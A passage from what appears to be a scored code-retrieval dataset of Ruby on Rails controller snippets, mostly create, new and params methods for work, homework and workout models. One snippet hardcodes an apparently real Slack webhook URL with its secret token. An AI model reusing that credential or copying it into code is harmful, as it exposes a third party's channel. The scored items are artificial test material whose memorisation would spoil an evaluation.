:unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f3c9e9a277588f6092e37b43bd20395", "score": "0.5989451", "text": "def create\n @workobject = Workobject.new(params[:workobject])\n\n respond_to do |format|\n if @workobject.save\n format.html { redirect_to @workobject, notice: 'Workobject was successfully created.' }\n format.json { render json: @workobject, status: :created, location: @workobject }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workobject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "288a55ec28793275ee9e8edaeb97611d", "score": "0.59664226", "text": "def index\n @my_posted_homeworks = MyPostedHomework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_posted_homeworks }\n end\n end", "title": "" }, { "docid": "e53b5c0f6f022ee60b367d70dd50e64b", "score": "0.5939108", "text": "def create\n @diploma_work = DiplomaWork.new(diploma_work_params)\n\n respond_to do |format|\n if @diploma_work.save\n format.html { redirect_to @diploma_work, notice: 'Diploma work was successfully created.' }\n format.json { render action: 'show', status: :created, location: @diploma_work }\n else\n format.html { render action: 'new' }\n format.json { render json: @diploma_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7672ee66014f00521348d7be0fd894f5", "score": "0.5935028", "text": "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n flash[:notice] = 'Work was successfully created.'\n format.html { redirect_to(@work) }\n format.xml { render :xml => @work, :status => :created, :location => @work }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8f7a58c39768d14359a84af9a0e524b", "score": "0.59317625", "text": "def create\n @worklist = Worklist.new(worklist_params)\n\n respond_to do |format|\n if @worklist.save\n format.html { redirect_to @worklist, notice: 'Worklist was successfully created.' }\n format.json { render :show, status: :created, location: @worklist }\n else\n format.html { render :new }\n format.json { render json: @worklist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61af3b651ef6959869d1718516c6c674", "score": "0.59243286", "text": "def create\r\n @academic_work = AcademicWork.new(params[:academic_work])\r\n\r\n respond_to do |format|\r\n if @academic_work.save\r\n format.html { redirect_to @academic_work, notice: 'Academic work was successfully created.' }\r\n format.json { render json: @academic_work, status: :created, location: @academic_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @academic_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "bbcdb00c4ddffa92c9c9434b45160c19", "score": "0.59131485", "text": "def create\n @worksession = parse_worksessions\n respond_to do |format|\n if !@worksession.nil? and @worksession.save\n format.html { redirect_to user_worksessions_path(current_user.id), notice: 'Worksession was successfully created.' }\n format.json { render :show, status: :created, location: @worksession }\n else\n @worksession = Worksession.new\n format.html { render :new }\n format.json { render json: @worksession.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f2d5744df572c1ffe39f7317d94859a", "score": "0.59129095", "text": "def work_params\n params.require(:work).permit(:title, :body, :tag_list, :incomplete, :is_private, :is_anonymous, :novel_id)\n end", "title": "" }, { "docid": "70414cfb1572b4a3cf5e1ae6114a5b42", "score": "0.59099954", "text": "def create\n exercise = Exercise.create(exercise_params)\n if exercise\n render json: exercise\n else\n render json: {error: 'Workout was not created.'}\n end\n end", "title": "" }, { "docid": "cfb46dc080693b5a8c27dddb6670e871", "score": "0.58920616", "text": "def create\n @our_works = OurWork.new(our_work_params)\n if @our_works.plate_has_an_entry?\n render_default_error 'hay un error, Esta placa ya ha sido ingresada', 401\n else\n @our_works.date_arrival = Date.today.to_date\n @our_works.is_parking = true\n if @our_works.save\n render_success_format('Nueva entrada registrada', @our_works, true)\n end\n end\n rescue Exception => e\n render_default_error e, 401\n end", "title": "" }, { "docid": "b9b8030490e28699fc3de57dfd0163aa", "score": "0.5886426", "text": "def create\n @upwork = Upwork.new(upwork_params)\n\n respond_to do |format|\n if @upwork.save\n format.html { redirect_to @upwork, notice: 'Upwork was successfully created.' }\n format.json { render :show, status: :created, location: @upwork }\n else\n format.html { render :new }\n format.json { render json: @upwork.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5e0680984a2b5beca19deb468d6b2c0", "score": "0.58779776", "text": "def development_work_params\n params.require(:development_work).permit(:place_id, :name, :desc, :fy, :valid_type_id, :estimated_amount, :entity_status_id,\n :sanctioned_amount, :department_id, :foundation_date, :inaugration_date, :status, :remarks, :regional_name_value,\n stored_file_whitelist, stored_image_whitelist, videos_attributes: [:id, :_destroy, :vid_url, :desc])\n end", "title": "" }, { "docid": "399a531c99f75b745da6aebc3c3b629a", "score": "0.5863208", "text": "def create\n @academic_work = AcademicWork.new(academic_work_params)\n\n respond_to do |format|\n if @academic_work.save\n format.html { redirect_to @academic_work, notice: t('notice.created') }\n format.json { render :show, status: :created, location: @academic_work }\n else\n format.html { render :new }\n format.json { render json: @academic_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6d8f8e7babfb407a67220d11bc71838", "score": "0.5862663", "text": "def new\n @work = Work.new\n\n logger.info @work.be.user_projects('nois3lab')\n\n @tags = Tag.all\n @media_asset = MediaAsset.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "title": "" }, { "docid": "be590820482e88e2785b4aa1c55c78f5", "score": "0.58626175", "text": "def create\n @work = Work.new(work_params.merge(depositor: current_user))\n\n respond_to do |format|\n if @work.save\n format.html do\n redirect_to work_version_file_list_path(@work, @work.versions.last),\n notice: 'Work was successfully created.'\n end\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0281aa1d17e8f05232418397e0c89694", "score": "0.5861804", "text": "def new\r\n @scientific_work=ScientificWork.find(params[:scientific_work_id])\r\n @second_work = @scientific_work.second_works.build\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @second_work }\r\n end\r\n end", "title": "" }, { "docid": "b6ec73af3fb346a4c79ad0bcd5c7082f", "score": "0.5830416", "text": "def new\n @work = Work.new\n\n respond_to do |format|\n format.json { render json: @work }\n end\n end", "title": "" }, { "docid": "542eb22e75573dda401a60a2409a6c8a", "score": "0.58287334", "text": "def create\n @work_exp = WorkExp.new(work_exp_params)\n\n respond_to do |format|\n if @work_exp.save\n format.html { redirect_to @work_exp, notice: 'Work exp was successfully created.' }\n format.json { render :show, status: :created, location: @work_exp }\n else\n format.html { render :new }\n format.json { render json: @work_exp.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1ee31a26583739bbb2465efce726a733", "score": "0.5810021", "text": "def create_new_work(params)\n @log.info 'Configuring work attributes'\n\n # set depositor\n depositor = User.find_by_user_key(@config['depositor'])\n raise 'User ' + @config['depositor'] + ' not found.' if depositor.nil?\n\n # set noid\n id = Noid::Rails::Service.new.minter.mint\n\n # set resource type\n resource_type = 'Thesis'\n unless params['resource_type'].first.nil?\n resource_type = params['resource_type'].first\n end\n\n # set visibility\n if params.key?('embargo_release_date')\n params['visibility_after_embargo'] = 'open'\n params['visibility_during_embargo'] = 'authenticated'\n else\n params['visibility'] = 'open'\n end\n\n # set admin set to deposit into\n unless @config['admin_set_id'].nil?\n params['admin_set_id'] = @config['admin_set_id']\n end\n\n # set campus\n params['campus'] = [@config['campus']]\n\n @log.info 'Creating a new ' + resource_type + ' with id:' + id\n\n if @config['type_to_work_map'][resource_type].nil?\n raise 'No mapping for ' + resource_type\n end\n\n model_name = @config['type_to_work_map'][resource_type]\n\n # student research but with a label that is otherwise Publication\n if params['degree_level'] || params['advisor']\n model_name = 'Thesis'\n end\n\n # create the actual work based on the mapped resource type\n model = Kernel.const_get(model_name)\n work = model.new(id: id)\n work.update(params)\n work.apply_depositor_metadata(depositor.user_key)\n work.save\n\n work\nend", "title": "" }, { "docid": "07c87097f7abd2382c5e2a4546f96e12", "score": "0.5795395", "text": "def create\n @open_source_work = OpenSourceWork.new(open_source_work_params)\n\n respond_to do |format|\n if @open_source_work.save\n format.html { redirect_to @open_source_work, notice: 'Open source work was successfully created.' }\n format.json { render :show, status: :created, location: @open_source_work }\n else\n format.html { render :new }\n format.json { render json: @open_source_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f383543b4538837cf4eadc4995ca5839", "score": "0.5781268", "text": "def create\n @wfeat = Wfeat.new(wfeat_params)\n\n respond_to do |format|\n if @wfeat.save\n format.html { redirect_to @wfeat, notice: 'Wfeat was successfully created.' }\n format.json { render :show, status: :created, location: @wfeat }\n else\n format.html { render :new }\n format.json { render json: @wfeat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "949f90886a08a9cf01c9f76598aba615", "score": "0.5773874", "text": "def create\n @myworkout = Myworkout.new(params[:myworkout])\n\n respond_to do |format|\n if @myworkout.save\n format.html { redirect_to @myworkout, :notice => 'Myworkout was successfully created.' }\n format.json { render :json => @myworkout, :status => :created, :location => @myworkout }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @myworkout.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1707c3c40f5fceb1ef316c2d53bf29b", "score": "0.57681423", "text": "def create\n @workout = Workout.new(name: params[:name], steps: params[:steps], description: params[:description], time: params[:time], image_url: params[:image_url], video_url: params[:video_url], running: params[:running], weightlifting: params[:weightlifting], swimming: params[:swimming], circuit_training: params[:circuit_training], cycling: params[:cycling], creator_id: current_athlete.id, workout_creator: current_athlete.username)\n\n if @workout.save\n AthleteWorkout.create(workout_id: @workout.id, athlete_id: current_athlete.id)\n render 'create.json.jbuilder', status: :created\n else\n render json: { errors: @athlete.errors.full_messages }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4d522e00b05653d940759a248f7b3f2c", "score": "0.57664347", "text": "def create\n @workfile = Workfile.new(workfile_params)\n\n respond_to do |format|\n if @workfile.save\n format.html { redirect_to @workfile, notice: 'Workfile was successfully created.' }\n format.json { render :show, status: :created, location: @workfile }\n else\n format.html { render :new }\n format.json { render json: @workfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "182499876474d77dc0eb015901176b16", "score": "0.57656217", "text": "def create\n @homework = current_user.homeworks.new(homework_params)\n\n respond_to do |format|\n if @homework.save\n format.html { redirect_to @homework, notice: 'Homework was successfully created.' }\n format.json { render :show, status: :created, location: @homework }\n else\n format.html { render :new }\n format.json { render json: @homework.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e63e274f41760f045f11db2cb528b9e", "score": "0.5761666", "text": "def get_work\n client.make_request('/get-work', 'post', params: {})\n end", "title": "" }, { "docid": "e6fb4b8706a9445b45ac542978ac8975", "score": "0.57559884", "text": "def create\n @house_work = HouseWork.new(house_work_params)\n\n respond_to do |format|\n if @house_work.save\n format.html { redirect_to @house_work, notice: 'House work was successfully created.' }\n format.json { render :show, status: :created, location: @house_work }\n else\n format.html { render :new }\n format.json { render json: @house_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "125608880fb46b6ffca737c32a4b3387", "score": "0.57430756", "text": "def perform_works_request\n Faraday.send(:get, request_url(type: :works, put_code: work_codes.join(\",\")), nil, headers)\n end", "title": "" }, { "docid": "346c4e868f6da8c8764ff1cbb5b726c1", "score": "0.57424533", "text": "def create\n if not (@current_user.worker? || @current_user.admin? || @current_user.produce? )\n redirect_to @current_user\n else\n @work = Work.new(params[:work])\n @users = User.find(:all)\n @projects = Project.find(:all)\n @job_types = JobType.find(:all)\n @places = Place.find(:all)\n respond_to do |format|\n if @work.save\n flash[:notice] = 'Work was successfully created.'\n format.html { redirect_to(@work) }\n format.xml { render :xml => @work, :status => :created, :location => @work }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @work.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "75e0912f808fe87bd4c8cd5ccf30ff8f", "score": "0.5737534", "text": "def create\n @activity_development = ActivityDevelopment.new(activity_development_params)\n\n respond_to do |format|\n if @activity_development.save\n format.html { redirect_to @activity_development, notice: 'Activity development was successfully created.' }\n format.json { render :show, status: :created, location: @activity_development }\n else\n format.html { render :new }\n format.json { render json: @activity_development.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1aeedad20242b20b48499f8f0dcea651", "score": "0.57284963", "text": "def create\n @solution = @idea.solutions.new(feature: params[:toSent]) #@idea.solutions.new(params[:solution])\n\n if @solution.save\n render json: { text: \"success\", id: \"#{@solution.id}\" }\n else\n render json: { text: \"fail\"}\n end\n end", "title": "" }, { "docid": "4d54782dd4eaadfb84cc5c3e03de9a89", "score": "0.5709331", "text": "def create\n @working_operation = WorkingOperation.new(working_operation_params)\n respond_to do |format|\n if @working_operation.save\n format.html { redirect_to staff_worker_path(@working_operation.staff_worker_id), notice: 'Данные сохранены' }\n format.json { render :show, status: :created, location: @working_operation }\n else\n format.html { render :new }\n format.json { render json: @working_operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc1765f7b71dc81c3e0d0dd9f7574864", "score": "0.57072973", "text": "def create\n @scratcher = Scratcher.new(permitted_params)\n\n if @scratcher.save\n render json: @scratcher, status: :created, location: @scratcher\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "1b577cc77a327446d01de1748136afb8", "score": "0.56969845", "text": "def create\n @classwork = Classwork.new(classwork_params)\n\n respond_to do |format|\n if @classwork.save\n format.html { redirect_to @classwork, notice: 'Classwork was successfully created.' }\n format.json { render action: 'show', status: :created, location: @classwork }\n else\n format.html { render action: 'new' }\n format.json { render json: @classwork.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c8a2416def643328867ae6f217748a3", "score": "0.56903154", "text": "def create\n @gym_workout = GymWorkout.new(params[:gym_workout])\n\n respond_to do |format|\n if @gym_workout.save\n format.html { redirect_to @gym_workout, :notice => 'Gym workout was successfully created.' }\n format.json { render :json => @gym_workout, :status => :created, :location => @gym_workout }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @gym_workout.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e769fa2dd91527983dabeee9e7ae6a6c", "score": "0.5682229", "text": "def create\n @work_log = WorkLog.new(params[:work_log])\n\n respond_to do |format|\n if @work_log.save\n format.html { redirect_to @work_log, notice: 'Work log was successfully created.' }\n format.json { render json: @work_log, status: :created, location: @work_log }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f0aebba4719b368966d243b351e125a", "score": "0.5678203", "text": "def post_to_slack # why is it posting to slack twice?\n unless Rails.env == \"development\"\n \t\tjob = Listing.find(self.id)\n if job.state == 'FL'\n # base_url = \"<http://localhost:3000/listings/#{app_id}>\"\n base_url = \"<http://jobs.interque.co/listings/#{self.id}>\"\n payload = { text: \"New job opportunity with #{job.organization} in #{job.city}, #{job.state}\\n #{base_url}\", username: \"interque\" }\n response = HTTParty.post('https://hooks.slack.com/services/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', body: payload.to_json )\n end\n end\n\tend", "title": "" }, { "docid": "8753117bbe205a520db81517ae608939", "score": "0.5677348", "text": "def work_params\n params.require(:work).permit(:name, :description)\n end", "title": "" }, { "docid": "ae5918f94491ae15d748d328a785b697", "score": "0.5673806", "text": "def index\n handle_pages\n @development_works = DevelopmentWork.all\n @development_works = @development_works.where(department_id: params[:department_id]) unless params[:department_id].blank?\n @development_works = @development_works.where(\"name RLIKE (?)\", params[:search].to_s) unless params[:search].blank?\n @development_works = @development_works.joins(:place).\n where(\"places.panchayat_id\" => params[:panchayat_id]) unless params[:panchayat_id].blank?\n @development_works = @development_works.where(fy: params[:fy]) unless params[:fy].blank?\n @development_works = @development_works.where(place_id: params[:place_id]) unless params[:place_id].blank?\n @development_works = @development_works.where(entity_status_id: params[:status_id]) unless params[:status_id].blank?\n @development_works = @development_works.where(valid_type_id: params[:valid_type_id]) unless params[:valid_type_id].blank?\n add_statistics\n @development_works = @development_works.order(created_at: :desc).paginate(page: params[:page], per_page: 10)\n end", "title": "" }, { "docid": "c516596f277e272c95a3b3dcf859e66c", "score": "0.5666998", "text": "def new\n @homework = Homework.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @homework }\n end\n end", "title": "" }, { "docid": "1d56a69e59e904969e882f1073ee8a40", "score": "0.5666448", "text": "def create\n @hackathon = Hackathon.new(hackathon_params)\n\n respond_to do |format|\n if @hackathon.save\n format.html { redirect_to @hackathon, notice: 'Hackathon was successfully created.' }\n format.json { render :show, status: :created, location: @hackathon }\n else\n format.html { render :new }\n format.json { render json: @hackathon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4d6217696e36225d8c3b14f331dc98f", "score": "0.5662722", "text": "def create\r\n @work_plan = WorkPlan.new(params[:work_plan])\r\n\r\n respond_to do |format|\r\n if @work_plan.save\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully created.' }\r\n format.json { render json: @work_plan, status: :created, location: @work_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "96a5fccc00505451e649056c0a85adbc", "score": "0.56607914", "text": "def update\n respond_to do |format|\n if @work.update_attributes(params[:work])\n format.html { redirect_to @work, :notice => 'Obra atualizada com sucesso!' }\n format.json { head :no_content }\n else\n 1.times { @work.work_documents.build }\n load_cities_validate()\n format.html { render :action => \"edit\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e160963ba8e472aac0616c16e517140a", "score": "0.5660414", "text": "def submitted\n @works = Work.submitted\n render :index\n end", "title": "" }, { "docid": "a0ac7c298dfd8f26df8a6f1e27f26ee6", "score": "0.5659626", "text": "def do_request(homework)\n uri = URI.parse('https://webhook.site/1e9a10c7-54e0-414b-a1a7-3a7dad38c56d')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {\n homework_source: homework.source_code,\n student: fullname,\n pr_title: homework.pr_title\n }.to_json\n http.request(req)\n end", "title": "" }, { "docid": "3d1ea687e6bff3ab540d52b99affd5f7", "score": "0.5657699", "text": "def create\n @featured_project = FeaturedProject.new(featured_project_params)\n\n respond_to do |format|\n if @featured_project.save\n format.json { render :show, status: :created, location: @featured_project }\n else\n format.json { render json: @featured_project.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e6eb34c337fcd3c764d815e806e1fad", "score": "0.56534225", "text": "def create\n @playground = Playground.new(params[:playground])\n\n respond_to do |format|\n if @playground.save\n format.html { redirect_to @playground, :notice => 'Playground was successfully created.' }\n format.json { render :json => @playground, :status => :created, :location => @playground }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @playground.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b83b723901b770b549bdb6af320ef3e", "score": "0.5648056", "text": "def all_works\n #start = numeric( params[:start], DEFAULT_START )\n #limit = numeric( params[:limit], DEFAULT_LIMIT )\n\n works = batched_get( {} )\n respond_to do |format|\n format.json do\n if works.empty?\n render_json_works_response(:not_found )\n else\n # dont provide fileset information here, it takes too long and we just want work information\n render_json_works_response(:ok, work_transform( works, EXCLUDE_FILESETS ) )\n end\n end\n format.csv do\n # provide fileset information here because this is used for work export\n render_csv_works_response( work_transform( works, INCLUDE_FILESETS ) )\n end\n end\n\n end", "title": "" }, { "docid": "4a32bb7d198d10648ba46e56e264c40e", "score": "0.56477046", "text": "def create\n @playground = Playground.new(playground_params)\n\n respond_to do |format|\n if @playground.save\n format.html { redirect_to @playground, notice: 'Playground was successfully created.' }\n format.json { render :show, status: :created, location: @playground }\n else\n format.html { render :new }\n format.json { render json: @playground.errors, status: :unprocessable_entity }\n end \n end\n end", "title": "" }, { "docid": "51bdfa300f177bb0da11989af527632d", "score": "0.5643913", "text": "def create\n @workpermit = Workpermit.new(workpermit_params)\n\n respond_to do |format|\n if @workpermit.save\n format.html { redirect_to @workpermit, notice: 'Workpermit was successfully created.' }\n format.json { render :show, status: :created, location: @workpermit }\n else\n format.html { render :new }\n format.json { render json: @workpermit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0215f7f0b2287afd4b647b360b4d7198", "score": "0.56422776", "text": "def create\n @experiment_software = ExperimentSoftware.new(params[:experiment_software])\n\n respond_to do |format|\n if @experiment_software.save\n format.html { redirect_to @experiment_software, :notice => 'Experiment software was successfully created.' }\n format.json { render :json => @experiment_software, :status => :created, :location => @experiment_software }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @experiment_software.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99c785df59f240a1366fc5b333c05fc4", "score": "0.56415206", "text": "def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "title": "" }, { "docid": "7dac6175a1e047dae96abcda5543924f", "score": "0.56397915", "text": "def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "title": "" }, { "docid": "7dac6175a1e047dae96abcda5543924f", "score": "0.56397915", "text": "def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end", "title": "" }, { "docid": "3fb2fc76e6091f0f3481c7d28e891d58", "score": "0.5639597", "text": "def create\n @homework = Homework.new(params[:homework])\n\n respond_to do |format|\n if @homework.save\n format.html { redirect_to(@homework, :notice => 'Homework was successfully created.') }\n format.xml { render :xml => @homework, :status => :created, :location => @homework }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @homework.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c027591ff236219a484de6a4fcf93954", "score": "0.5637847", "text": "def new\n @my_posted_homework = MyPostedHomework.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_posted_homework }\n end\n end", "title": "" }, { "docid": "663fdedbebd0be22764f68dd8164e3a8", "score": "0.5632814", "text": "def create\n\n # puts \"---------------------\"\n # puts workflow_params.to_json\n\n # workflow_attributes = workflow_params\n # step_definitions_attributes = workflow_attributes.delete(\"step_definitions\")\n\n # @workflow = Workflow.new(workflow_attributes)\n\n # @workflow.step_definitions = StepDefinition.createStepDefinitions(step_definitions_attributes)\n\n @workflow = Workflow.new(workflow_params)\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render :show, status: :created, location: @workflow }\n else\n format.html { render :new }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba4f9ea5158c0218e45701fd4ff67b23", "score": "0.5629018", "text": "def create\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.new(params[:disciplines_study])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.save\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully created.' }\r\n format.json { render json: @disciplines_study, status: :created, location: @disciplines_study }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "3e14420ac4ba389fda35f401c098ac9a", "score": "0.5627984", "text": "def create\n @work = Work.new(params[:work])\n @media_asset = MediaAsset.all\n\n if params.include? 'tags'\n params['tags'].each do |name|\n next if name.empty?\n tag = Tag.new\n tag.name = name\n tag.work_id = @work.id\n tag.save!\n end\n end\n\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44a97b0739733c6450740adbfb48955e", "score": "0.56267285", "text": "def create\n @work_activity = WorkActivity.new(params[:work_activity])\n\n respond_to do |format|\n if @work_activity.save\n format.html { redirect_to @work_activity, notice: 'Work activity was successfully created.' }\n format.json { render json: @work_activity, status: :created, location: @work_activity }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "26f12c5363dbe4d45084ef53b77f5c89", "score": "0.56254995", "text": "def create\n @playground = Playground.new(params[:playground])\n\n respond_to do |format|\n if @playground.save\n format.html { redirect_to @playground, notice: 'Playground was successfully created.' }\n format.json { render json: @playground, status: :created, location: @playground }\n else\n format.html { render action: \"new\" }\n format.json { render json: @playground.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21217abfb9491f59a8d0bd2a62ba4642", "score": "0.5622688", "text": "def new\r\n @stages_work = StagesWork.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @stages_work }\r\n end\r\n end", "title": "" }, { "docid": "cda7784f84f35846d02c2a770bbe023d", "score": "0.5622391", "text": "def create\n @art_work = ArtWork.new(art_work_params)\n\n respond_to do |format|\n if @art_work.save\n format.html { redirect_to @art_work, notice: 'Art work was successfully created.' }\n format.json { render :show, status: :created, location: @art_work }\n else\n format.html { render :new }\n format.json { render json: @art_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49bfb3cd66a89445928efdd133056154", "score": "0.5618602", "text": "def destroy\n @development_work.destroy\n respond_to do |format|\n format.html { redirect_to development_works_path(page: prev_page), notice: 'Development work was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
469fef6f0f55a858d6dbc55d8f60a5ce
manual setter with conditional judgement
[ { "docid": "b437dc057a58b3aaed6c405cc7693953", "score": "0.0", "text": "def age= (new_age)\n @age = new_age unless new_age > 120\n end", "title": "" } ]
[ { "docid": "9dc9860ca99411c880f86ebefbfcf23d", "score": "0.6625808", "text": "def setter?( m_name )\n ( m_name.to_s.strip =~/(.+)=$/ ) ? true : false\n end", "title": "" }, { "docid": "fbbeb8d6a6282e6ea720719e412a3201", "score": "0.6545488", "text": "def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end", "title": "" }, { "docid": "2923142224afcda0320a754ed21dddf4", "score": "0.6545046", "text": "def _setter_method\n :\"_#{self[:name]}=\"\n end", "title": "" }, { "docid": "25440cdddf4e32f00e0e71aec1459c94", "score": "0.65426445", "text": "def setter\r\n @setter ||= Field.setter(@name)\r\n end", "title": "" }, { "docid": "4076904ebe69b0ab5562b1aac4ee6923", "score": "0.65329236", "text": "def setter\n @setter ||= \"#{name}=\"\n end", "title": "" }, { "docid": "cd7efa6b9ebb71c14ffcb3ca7b28a571", "score": "0.6528541", "text": "def __setter__\n \"#{self}=\"\n end", "title": "" }, { "docid": "8c4f89753521f97c12a6f4975816b6b2", "score": "0.6528104", "text": "def setter\n @setter ||= :\"#{@name}=\"\n end", "title": "" }, { "docid": "465e2a89c3f1b20d4ce19af508937f2f", "score": "0.65058064", "text": "def method_missing(method, *args)\n # Give OpenStruct a chance to create getters and setters for the\n # corresponding field\n super method, *args\n\n if field = setter?(method)\n # override setter logic to apply any existing sanitization rules before\n # assigning the new value to the field\n override_setter_for(field) if sanitize?(field)\n # uses the newly created setter to set the field's value and apply any\n # existing sanitization rules\n send(method, args[0])\n end\n end", "title": "" }, { "docid": "e580f6acacdd5ed07560ad1d7ea4eadd", "score": "0.6499716", "text": "def override_setters(*setters)\n setters.each do |setter|\n case setter\n\n #######################################################################\n ## facility_code\n #######################################################################\n when :facility_code\n define_method(:facility_code=) do |v|\n write_attribute(:facility_code, v.strip.upcase) if v.present?\n end\n\n #######################################################################\n ## institution\n #######################################################################\n when :institution\n define_method(:institution=) do |v|\n if v.present?\n v = v.to_s.gsub(\"'\", \"''\").strip.try(:upcase)\n write_attribute(:institution, v)\n end\n end\n\n #######################################################################\n ## ope6\n #######################################################################\n when :ope6\n define_method(:ope6=) do |v|\n if v.present? && !self.class.forbidden_word?(v.downcase)\n write_attribute(:ope6, self.class.pad(v.strip, 8)[1, 5])\n end\n end\n\n #######################################################################\n ## ope\n #######################################################################\n when :ope\n define_method(:ope=) do |v|\n v = v.try(:strip).try(:upcase) if v.is_a?(String)\n v = nil if self.class.forbidden_word?(v)\n\n write_attribute(:ope, self.class.pad(v, 8))\n self.ope6 = ope\n end\n\n #######################################################################\n ## state\n #######################################################################\n when :state\n define_method(:state=) do |v|\n write_attribute(:state, DS::State.get_abbr(v.strip)) if v.present?\n end\n\n #######################################################################\n ## miscellaneous\n #######################################################################\n else\n define_method(\"#{setter.to_s}=\".to_sym) do |v|\n col = self.class.columns.find { |col| col.name == setter.to_s }\n\n if v.is_a?(String)\n v = v.try(:strip)\n v = nil if self.class.forbidden_word?(v) || v.blank?\n v = v.to_s.gsub(\"'\", \"''\") if !v.nil?\n end\n\n if col.try(:sql_type) == \"boolean\"\n if !v.nil?\n v = self.class.truthy?(v) if v.is_a?(String)\n write_attribute(setter, v)\n end\n else\n write_attribute(setter, v)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "43fe0e45b9244c8bc143f267908a5de7", "score": "0.6482531", "text": "def set?\n self == :set\n end", "title": "" }, { "docid": "b53203dd305a768de060bc141f31a851", "score": "0.6480609", "text": "def method_missing(setter, value)\n case setter.to_s\n when 